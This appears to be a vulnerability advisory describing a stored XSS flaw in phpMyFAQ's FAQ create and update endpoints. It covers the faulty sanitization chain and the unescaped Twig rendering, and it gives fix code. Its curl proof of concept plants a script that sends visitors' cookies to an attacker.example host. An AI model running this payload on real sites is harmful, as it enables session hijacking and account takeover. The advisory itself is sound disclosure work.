Description

phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization

Summary

The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.

Details

Vulnerable code path (FAQ create — FaqController.php):

At line 120, the answer content is filtered:

$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);

Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to <script>. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:

->setAnswer(Filter::removeAttributes(html_entity_decode(
    (string) $content,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

html_entity_decode() converts <script> back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

Rendering sink (faq.twig):

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>

The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.

Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.

PoC

Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.

Step 1: Create a malicious FAQ

curl -X POST 'https://target/admin/api/faq/create' \
  -H 'Cookie: PHPSESSID=<admin_session>' \
  -H 'Content-Type: application/json' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "Harmless FAQ Title",
      "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",...
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Expected response: 200 OK with the new FAQ ID.

Step 2: Verify XSS execution

Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.

Impact

Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.

Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.

Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.

Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via search.twig.

Recommended Fix

Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.

Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):

public static function removeAttributes(string $html = ''): string
{
    // Strip dangerous HTML tags entirely
    $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];
    foreach ($dangerousTags as $tag) {
        $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html);
        $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html);
    }...
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Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:

use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;

$config = (new HtmlSanitizerConfig())
    ->allowSafeElements()
    ->blockElement('script')
    ->blockElement('iframe')
    ->blockElement('object')...
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Mitigation

Aliases

References